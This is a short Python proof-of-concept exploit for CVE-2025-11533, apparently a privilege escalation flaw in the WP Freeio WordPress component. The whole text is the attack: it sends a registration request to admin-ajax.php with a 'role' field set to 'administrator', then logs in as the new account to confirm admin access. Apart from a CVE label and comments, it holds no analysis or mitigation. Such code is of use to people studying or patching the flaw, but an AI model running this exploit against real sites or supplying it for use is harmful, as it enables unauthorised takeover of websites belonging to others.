CVE-2025-11533

# CVE-2025-11533 - WP Freeio Privilege Escalation PoC # Exploit: Register as administrator by manipulating role parameter import requests target_url = "http://target-wordpress-site.com" register_endpoint = "/wp-admin/admin-ajax.php" # Step 1: Send registration request with administrator role payload = { "action": "process_register", # The vulnerable action handler "username": "attacker_admin", "email": "[email protected]", "password": "P@ssw0rd123!", "confirm_password": "P@ssw0rd123!", "role": "administrator", # Exploit: Inject admin role "term_condition": "on" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } response = requests.post( target_url + register_endpoint, data=payload, headers=headers ) if response.status_code == 200: print("[+] Registration request sent successfully") print(f"[*] Response: {response.text}") # Step 2: Login with the newly created admin account login_data = { "log": "attacker_admin", "pwd": "P@ssw0rd123!", "wp-submit": "Log In", "redirect_to": target_url + "/wp-admin/", "testcookie": "1" } session = requests.Session() login_response = session.post( target_url + "/wp-login.php", data=login_data, headers=headers ) if "wp-admin" in login_response.url or "dashboard" in login_response.text.lower(): print("[+] Successfully logged in as administrator!") print(f"[*] Admin panel URL: {target_url}/wp-admin/") else: print(f"[-] Request failed with status code: {response.status_code}")

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